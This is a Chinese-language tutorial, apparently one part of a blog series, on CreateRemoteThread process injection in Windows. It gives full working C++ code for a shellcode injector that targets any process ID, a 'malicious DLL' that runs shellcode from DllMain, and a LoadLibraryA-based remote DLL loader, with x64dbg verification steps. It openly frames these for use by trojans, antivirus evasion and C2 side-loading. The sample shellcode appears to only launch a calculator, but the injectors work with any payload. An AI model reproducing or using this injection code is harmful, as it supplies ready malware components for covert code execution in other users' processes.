2-创建远程线程注入(CreateRemoteThread Injection)

一、前言

创建远程线程注入 又是另一个经典且使用最多的一种shellcode和dll注入方式

创建远程线程注入 是指一个进程在另一个进程中创建线程的技术,通常用于注入dll或shellcode,两者执行方式会有一些简单的差异但是原理相同,这是一种简单且稳定的经典注入方式,被很多病毒木马所青睐,此外也存在更新式的注入方式。

二、流程

  1. 使用 OpenProcess 打开进程。官方文档:OpenProcess 函数 (processthreadsapi.h) - Win32 apps | Microsoft Learn

  2. 使用 VirtualAllocEx 在远程进程中申请空间。官方文档:VirtualAllocEx 函数 (memoryapi.h) - Win32 apps | Microsoft Learn

  3. 使用 WriteProcessMemory 将数据写入到指定进程中的内存区域。 要写入的整个区域必须可访问,否则操作将失败。官方文档:WriteProcessMemory 函数 (memoryapi.h) - Win32 apps | Microsoft Learn

  4. 使用 CreateRemoteThread 创建在另一个进程的虚拟地址空间中运行的线程。官方文档:CreateRemoteThread 函数 (processthreadsapi.h) - Win32 apps | Microsoft Learn

  5. 使用 WaitForSingleObject 等待远程线程结束。官方文档:WaitForSingleObject 函数 (synchapi.h) - Win32 apps | Microsoft Learn

  6. 使用 VirtualFreeEx 释放空间。官方文档: VirtualFreeEx 函数 (memoryapi.h) - Win32 apps | Microsoft Learn

偷来的图,将就看一下吧😀

三、代码实现

3.1 注入shellcode

(一)完整代码

#include <windows.h>
#include <iostream>

int main()
{
	// shellcode
	unsigned char shellcode[] = {
			0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3
	};

	// 用户输入被注入进程的PID
	DWORD PID;
	std::cout << "请输入被注入进程的PID:";
	std::cin >> PID;

	// 打开注入进程
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, PID);

	// 在远程进程中申请空间
	LPVOID lpAddress = VirtualAllocEx(hProcess, NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	// 将数据写入到指定进程中的内存区域
	WriteProcessMemory(hProcess, lpAddress, shellcode, sizeof(shellcode), NULL);

	// 创建在另一个进程的虚拟地址空间中运行的线程
	HANDLE hThread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)lpAddress, 0, 0, 0);

	// 等待远程线程结束
	WaitForSingleObject(hThread, INFINITE);

	// 释放空间和关闭句柄,是一个良好的编程习惯
	VirtualFreeEx(hProcess, lpAddress, NULL, MEM_RELEASE);
	CloseHandle(hProcess);
	CloseHandle(hThread);

	return 0;
}

输入被注入进程的PID,比如下图的notepad.exe的PID是27840

(二)调式

虽然VS可以查看内存情况,但是只能查看本进程,即正在调式运行的进程的内存布局,想要看其他进程的内存空间就需要借助其他工具。反是涉及到注入到远程进程的,我都建议使用x32/64dbg和VS联动,这样能看到目标进程的的内存情况,有助于帮助我们判断是否注入成功。

  1. x64dbg附加进程

可以通过菜单"文件"->"附加"(或者按下快捷键Alt+A)会弹出如下图所示的附加对话框,读者只需要选中一个正在运行的程序即可附加到特定进程内

  1. VS调式运行

VirtualAllocEx 这里下一个断点,然后运行即可

  1. 复制想要查看的地址值

在本例中是 lpAddress 的值是0x0000021483150000(每次运行都不一样)

  1. 在x64dbg中查看相应地址的内存情况

快捷键:ctrl+G,输入目标地址值,即可查看相应地址的内存情况

演示

3.2 注入DLL

(一)完整代码

DLL(Dynamic Link Library)是动态链接库,其中包含可由另一个模块 (应用程序或 DLL) 使用的函数和数据,在免杀和C2中是很常用的一种PE文件。在实际的免杀中,单exe免杀的效果往往很差,更多是配合 白加黑 等手段达到一个很好免杀效果。更多DLL的玩法,我会在后面详细介绍,这里我只是简单的提一下恶意DLL的制作。

  1. 添加一个DLL项目

项目结构如下,我们只需修改dllmain.cpp即可

解释一下代码,DllMain,这是 DLL 的入口点,暂时用不到dll编写导出函数,我们只需要DllMain函数就可以了。当 ur_reason_for_call 满足下列几种情况时会执行相应的代码(需要自己添加)

  • DLL_PROCESS_ATTACH

  • DLL_THREAD_ATTACH

  • DLL_THREAD_DETACH

  • DLL_PROCESS_DETACH

  1. 构造恶意的黑DLL,并在其中运行shellcode。

#include <Windows.h>
#include <winuser.h>


void HelloWorld() { 
    unsigned char buf[] = { 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3 };

    // 申请一块大小为buf字节数组长度的可读可行的内存区域
    LPVOID pMemory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 将buf数组中的内容复制到刚刚分配的内存区域
    RtlMoveMemory(pMemory, buf, sizeof(buf));

    // 创建一个线程执行内存中的代码
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);
}


BOOL APIENTRY DllMain(HMODULE /* hModule */, DWORD ul_reason_for_call, LPVOID /* lpReserved */)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:HelloWorld();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

点击生成,得到恶意dll

注意

  • 在DLL中执行shellcode是不能用 WaitForSingleObject,因为可以能导致DLL死锁风险,虽然有解决方法,但是还是不推荐使用。

  • 32位程序只能注入32位程序,64位程序只能注入64位程序。跨位数注入好像msf里有提及,感兴趣的可以去找一下源码。

  1. 加载器代码

#include <windows.h>
#include <iostream>

int main()
{

	// 恶意DLL路径
	std::string path;

	// 用户输入被注入进程的PID
	DWORD PID;
	std::cout << "请输入被注入进程的PID:";
	std::cin >> PID;
	std::cout << std::endl;

	std::cout << "请输入恶意DLL路径:";
	std::cin >> path;

	// 打开注入进程
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, PID);

	// 在远程进程中申请空间
	LPVOID lpAddress = VirtualAllocEx(hProcess, NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	// 将DLL的地址写入指定内存区域
	WriteProcessMemory(hProcess, lpAddress, (LPCVOID)path.data(), path.size(), NULL);

	// 获取LoadLibraryA在kernel32.dll的虚拟地址
	LPTHREAD_START_ROUTINE pLoadlibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");

	// 创建在另一个进程的虚拟地址空间中运行的线程。
	// LoadLibraryA是线程执行的函数地址
	// lpAddress是传递给线程函数的参数(DLL路径)
	// 当线程执行pLoadlibrary函数,加载了了我们的恶意dLL,就符合DLL_PROCESS_ATTACH情形,会触发我们的HelloWorld函数
	HANDLE hThread = CreateRemoteThread(hProcess, 0, 0, pLoadlibrary, lpAddress, 0, 0);

	// 等待远程线程结束
	WaitForSingleObject(hThread, INFINITE);

	// 释放空间和关闭句柄,是一个良好的编程习惯
	VirtualFreeEx(hProcess, lpAddress, NULL, MEM_RELEASE);
	CloseHandle(hProcess);
	CloseHandle(hThread);

	return 0;
}

注意

  1. 在 Windows 操作系统中,进程的虚拟地址空间是相互隔离的,这意味着每个进程都有自己的虚拟地址空间,不能直接访问其他进程的内存。

  2. 为什么远程进程能使用LoadLibraryA的地址呢?因为kernel32ntdll.dll 等DLL是一个共享的系统库,所有进程都可以访问,所有Windows 进程在加载该库时会使用相同的VA。这一点请理清楚,后面会很多知识点都会涉及这一个内容。

(二)调式

与注入shellcode同理,我们要用x32/64dbg来验证我们的DLL路径是否写入到了目标进程的内存中

演示

Last updated